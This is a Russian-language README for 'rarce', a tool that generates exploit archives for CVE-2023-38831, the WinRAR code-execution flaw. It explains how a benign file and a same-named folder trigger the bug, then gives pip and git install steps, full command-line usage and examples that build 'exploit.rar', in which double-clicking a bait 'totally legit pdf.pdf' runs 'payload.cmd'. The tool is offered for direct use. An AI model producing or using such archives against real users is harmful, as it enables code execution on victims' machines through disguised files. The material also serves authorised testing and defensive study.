
Простой в установке и запуске инструмент для генерации эксплойт-пейлоадов для CVE-2023-38831, RCE-уязвимости WinRAR в версиях до 6.23
Это простой в установке и использовании универсальный генератор эксплойтов для CVE-2023-38831 — уязвимости, затрагивающей WinRAR версий до 6.23.
RARLabs WinRAR до версии 6.23 позволяет злоумышленникам выполнять произвольный код, когда пользователь пытается просмотреть безвредный файл внутри ZIP-архива. Проблема возникает из-за того, что ZIP-архив может содержать безвредный файл (например, обычный .JPG-файл), а также папку с тем же именем, что и этот файл; содержимое папки (которое может включать исполняемый контент) обрабатывается при попытке доступа только к безвредному файлу. Эта уязвимость эксплуатировалась в реальных атаках с апреля по август 2023 года.

Вы можете легко установить этот инструмент через pip.
pip install rarce
Либо вы можете использовать его из исходного кода.
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
После установки через pip или setup.py вы можете использовать этот инструмент из командной строки. Следующая команда создаст файл эксплойта для вас. Когда пользователь дважды щёлкает файл-приманку, вместо него будет запускаться скрипт или исполняемый файл полезной нагрузки.
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
При желании вы можете использовать его как запускаемый модуль.
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
Вы также можете использовать его в своём существующем коде.
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")